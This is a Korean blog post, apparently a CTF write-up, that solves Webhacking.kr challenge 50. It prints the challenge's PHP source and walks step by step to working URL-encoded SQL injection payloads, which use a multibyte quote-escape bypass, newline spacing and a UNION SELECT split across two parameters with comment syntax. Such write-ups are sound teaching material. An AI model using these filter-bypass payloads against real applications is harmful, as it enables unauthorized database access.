점점 활용을 요하는 문제가 나온다.
소스보기를 해보자
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit> <input type=reset>
</form>
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
if(preg_match("/union/i",$_GET['id'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
if($result['lv']==1) echo("level : 1<br><br>");
if($result['lv']==2) echo("level : 2<br><br>");
}
if($result['lv']=="3") solve(50);
if(!$result) echo("Wrong");
}
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>
일단 level2부터 확인해보자.
멀티바이트를 사용하는 환경이므로
id부분에 다음과 같이 넘겨줄 생각이다.
%aa%27 or lv like 2#
-> url인코딩
%aa%27%0aor%0alv%0alike%0a2%23
결과로 level 2 뜬다. 그리고 마찬가지로 3도 해봤다.
%aa%27 or lv like 3#
-> url인코딩
%aa%27%0aor%0alv%0alike%0a3%23
결과로 Wrong이 뜬다. 소스를 확인해보니 3이 아니라 "3" 값을 얻어야 한다.
혹시몰라서 "3"의 아스키코드값인 0x33(16진수) 값을 넣어봤다.
%aa%27%0aor%0alv%0alike%0a0x33%23
결과로 Wrong이 뜬다. 이와 같은 방식으로 접근하는건 아닌듯 싶다.
아무리 생각해봐도 UNION 을 사용해야하는데, $_GET['id'] 가 UNION 필터가 적용되어있다.
근데 UNION 필터가 $_GET['pw'] 에는 적용되어 있지 않으니 이를 고려하여 우회할 방법을 생각해보자.
select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')
->
select lv from chall50 where id='?'/*' and pw = md5(' /*UNION select '3'#')
슬래쉬는 필터링중이지 않으니, 구간 주석인 /* */ 을 이용한 것.
따라서 이를 URL 인코딩한
id=%aa%27%2F%2A&pw=%2A%2FUNION%0aSELECT%0a0x33%23 값을 넣어주면 된다.
'[웹해킹] > [Webhacking.kr]' 카테고리의 다른 글
[Webhacking.kr] 52번 & 질문 (0) | 2020.11.22 |
---|---|
[Webhacking.kr] 51번 (0) | 2020.11.15 |
[Webhacking.kr] 49번 (0) | 2020.11.15 |
[Webhacking.kr] 48번 (0) | 2020.11.15 |
[Webhacking.kr] 47번 - 아시는분? (0) | 2020.11.14 |